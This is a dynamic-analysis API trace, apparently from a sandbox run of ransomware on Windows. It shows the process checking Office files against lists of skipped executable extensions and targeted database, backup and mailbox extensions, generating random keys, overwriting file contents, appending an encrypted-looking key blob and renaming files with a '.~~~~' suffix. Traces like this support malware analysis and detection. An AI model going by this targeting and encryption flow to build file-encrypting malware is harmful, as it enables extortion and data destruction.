	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".dbt") returned 0x0
	[0140.118] lstrlenW (lpString=".db") returned 3
	[0140.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".db") returned 0x0
	[0140.119] lstrlenW (lpString=".TXT") returned 4
	[0140.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".TXT") returned 0x0
	[0140.119] lstrlenW (lpString=".MDF") returned 4
	[0140.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".MDF") returned 0x0
	[0140.119] lstrlenW (lpString=".bdb") returned 4
	[0140.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".bdb") returned 0x0
	[0140.119] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0140.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.119] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0140.120] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.120] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0140.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0140.120] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26011064019) returned 1
	[0140.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbceeba90, dwHighDateTime=0x1d60e1e)) 
	[0140.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0140.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0140.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0140.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d5a8
	[0140.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d5a8 | out: hHeap=0x300000) returned 1
	[0140.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e298
	[0140.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e298 | out: hHeap=0x300000) returned 1
	[0140.121] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0140.122] GetLastError () returned 0x0
	[0140.122] GetLastError () returned 0x0
	[0140.122] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0140.122] GetLastError () returned 0x0
	[0140.122] GetLastError () returned 0x0
	[0140.122] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.217] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.217] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.217] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.217] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.217] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.218] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.218] CloseHandle (hObject=0x114) returned 1
	[0140.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38dff8
	[0140.218] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css.~~~~")) returned 1
	[0140.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38dff8 | out: hHeap=0x300000) returned 1
	[0140.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0140.220] GetLastError () returned 0x0
	[0140.220] RtlWakeConditionVariable () returned 0x0
	[0140.221] GetCurrentThreadId () returned 0xaf0
	[0140.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".scr") returned 0x0
	[0140.221] lstrlenW (lpString=".cmd") returned 4
	[0140.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".cmd") returned 0x0
	[0140.221] lstrlenW (lpString=".dll") returned 4
	[0140.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".dll") returned 0x0
	[0140.221] lstrlenW (lpString=".bat") returned 4
	[0140.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".bat") returned 0x0
	[0140.221] lstrlenW (lpString=".cpl") returned 4
	[0140.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".cpl") returned 0x0
	[0140.221] lstrlenW (lpString=".sys") returned 4
	[0140.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".sys") returned 0x0
	[0140.221] lstrlenW (lpString=".msc") returned 4
	[0140.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".msc") returned 0x0
	[0140.222] lstrlenW (lpString=".com") returned 4
	[0140.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".com") returned 0x0
	[0140.222] lstrlenW (lpString=".lnk") returned 4
	[0140.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".lnk") returned 0x0
	[0140.222] lstrlenW (lpString=".msp") returned 4
	[0140.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".msp") returned 0x0
	[0140.222] lstrlenW (lpString=".pif") returned 4
	[0140.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".pif") returned 0x0
	[0140.222] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir12f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0140.224] lstrlenW (lpString=".sqb") returned 4
	[0140.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".sqb") returned 0x0
	[0140.224] lstrlenW (lpString=".ost") returned 4
	[0140.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".ost") returned 0x0
	[0140.224] lstrlenW (lpString=".txt") returned 4
	[0140.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".txt") returned 0x0
	[0140.224] lstrlenW (lpString=".mdt") returned 4
	[0140.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".mdt") returned 0x0
	[0140.224] lstrlenW (lpString=".BDB") returned 4
	[0140.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".BDB") returned 0x0
	[0140.224] lstrlenW (lpString=".eql") returned 4
	[0140.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".eql") returned 0x0
	[0140.224] lstrlenW (lpString=".DBF") returned 4
	[0140.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".DBF") returned 0x0
	[0140.224] lstrlenW (lpString=".EQL") returned 4
	[0140.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".EQL") returned 0x0
	[0140.224] lstrlenW (lpString=".FDB") returned 4
	[0140.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".FDB") returned 0x0
	[0140.224] lstrlenW (lpString=".EDB") returned 4
	[0140.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".EDB") returned 0x0
	[0140.224] lstrlenW (lpString=".DACPAC") returned 7
	[0140.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.224] lstrlenW (lpString=".VHD") returned 4
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".VHD") returned 0x0
	[0140.225] lstrlenW (lpString=".DBV") returned 4
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".DBV") returned 0x0
	[0140.225] lstrlenW (lpString=".dacpac") returned 7
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.225] lstrlenW (lpString=".sdf") returned 4
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".sdf") returned 0x0
	[0140.225] lstrlenW (lpString=".accdb") returned 6
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".accdb") returned 0x0
	[0140.225] lstrlenW (lpString=".DBX") returned 4
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".DBX") returned 0x0
	[0140.225] lstrlenW (lpString=".MDT") returned 4
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".MDT") returned 0x0
	[0140.225] lstrlenW (lpString=".SQB") returned 4
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".SQB") returned 0x0
	[0140.225] lstrlenW (lpString=".vhd") returned 4
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".vhd") returned 0x0
	[0140.225] lstrlenW (lpString=".bac") returned 4
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".bac") returned 0x0
	[0140.225] lstrlenW (lpString=".mdf") returned 4
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".mdf") returned 0x0
	[0140.225] lstrlenW (lpString=".BAK") returned 4
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".BAK") returned 0x0
	[0140.225] lstrlenW (lpString=".BAC") returned 4
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".BAC") returned 0x0
	[0140.225] lstrlenW (lpString=".dbs") returned 4
	[0140.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".dbs") returned 0x0
	[0140.226] lstrlenW (lpString=".vhdx") returned 5
	[0140.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.226] lstrlenW (lpString=".NDF") returned 4
	[0140.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".NDF") returned 0x0
	[0140.226] lstrlenW (lpString=".dat") returned 4
	[0140.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".dat") returned 0x0
	[0140.226] lstrlenW (lpString=".DBS") returned 4
	[0140.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".DBS") returned 0x0
	[0140.226] lstrlenW (lpString=".CKP") returned 4
	[0140.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".CKP") returned 0x0
	[0140.226] lstrlenW (lpString=".edb") returned 4
	[0140.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".edb") returned 0x0
	[0140.226] lstrlenW (lpString=".PST") returned 4
	[0140.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".PST") returned 0x0
	[0140.226] lstrlenW (lpString=".dbf") returned 4
	[0140.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".dbf") returned 0x0
	[0140.226] lstrlenW (lpString=".SQL") returned 4
	[0140.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".SQL") returned 0x0
	[0140.226] lstrlenW (lpString=".pst") returned 4
	[0140.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".pst") returned 0x0
	[0140.226] lstrlenW (lpString=".dbv") returned 4
	[0140.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".dbv") returned 0x0
	[0140.226] lstrlenW (lpString=".SDF") returned 4
	[0140.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".SDF") returned 0x0
	[0140.226] lstrlenW (lpString=".dtxs") returned 5
	[0140.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.227] lstrlenW (lpString=".db3") returned 4
	[0140.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".db3") returned 0x0
	[0140.227] lstrlenW (lpString=".OST") returned 4
	[0140.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".OST") returned 0x0
	[0140.227] lstrlenW (lpString=".dbx") returned 4
	[0140.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".dbx") returned 0x0
	[0140.227] lstrlenW (lpString=".DB3") returned 4
	[0140.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".DB3") returned 0x0
	[0140.227] lstrlenW (lpString=".DAT") returned 4
	[0140.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".DAT") returned 0x0
	[0140.227] lstrlenW (lpString=".VHDX") returned 5
	[0140.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.227] lstrlenW (lpString=".ndf") returned 4
	[0140.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".ndf") returned 0x0
	[0140.227] lstrlenW (lpString=".DB") returned 3
	[0140.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".DB") returned 0x0
	[0140.227] lstrlenW (lpString=".sql") returned 4
	[0140.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".sql") returned 0x0
	[0140.227] lstrlenW (lpString=".MYD") returned 4
	[0140.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".MYD") returned 0x0
	[0140.227] lstrlenW (lpString=".DBT") returned 4
	[0140.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".DBT") returned 0x0
	[0140.227] lstrlenW (lpString=".ACCDB") returned 6
	[0140.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.227] lstrlenW (lpString=".fdb") returned 4
	[0140.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".fdb") returned 0x0
	[0140.227] lstrlenW (lpString=".bak") returned 4
	[0140.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".bak") returned 0x0
	[0140.228] lstrlenW (lpString=".myd") returned 4
	[0140.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".myd") returned 0x0
	[0140.228] lstrlenW (lpString=".DTXS") returned 5
	[0140.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.228] lstrlenW (lpString=".ckp") returned 4
	[0140.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".ckp") returned 0x0
	[0140.228] lstrlenW (lpString=".dbt") returned 4
	[0140.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".dbt") returned 0x0
	[0140.228] lstrlenW (lpString=".db") returned 3
	[0140.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".db") returned 0x0
	[0140.228] lstrlenW (lpString=".TXT") returned 4
	[0140.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".TXT") returned 0x0
	[0140.228] lstrlenW (lpString=".MDF") returned 4
	[0140.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".MDF") returned 0x0
	[0140.228] lstrlenW (lpString=".bdb") returned 4
	[0140.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".bdb") returned 0x0
	[0140.228] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0140.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.228] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0140.229] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.229] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0140.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0140.230] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26021986411) returned 1
	[0140.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbcff6430, dwHighDateTime=0x1d60e1e)) 
	[0140.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0140.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0140.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0140.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5348
	[0140.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5348 | out: hHeap=0x300000) returned 1
	[0140.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e0a0
	[0140.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0140.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e0a0 | out: hHeap=0x300000) returned 1
	[0140.231] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0140.231] GetLastError () returned 0x0
	[0140.231] GetLastError () returned 0x0
	[0140.231] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0140.231] GetLastError () returned 0x0
	[0140.231] GetLastError () returned 0x0
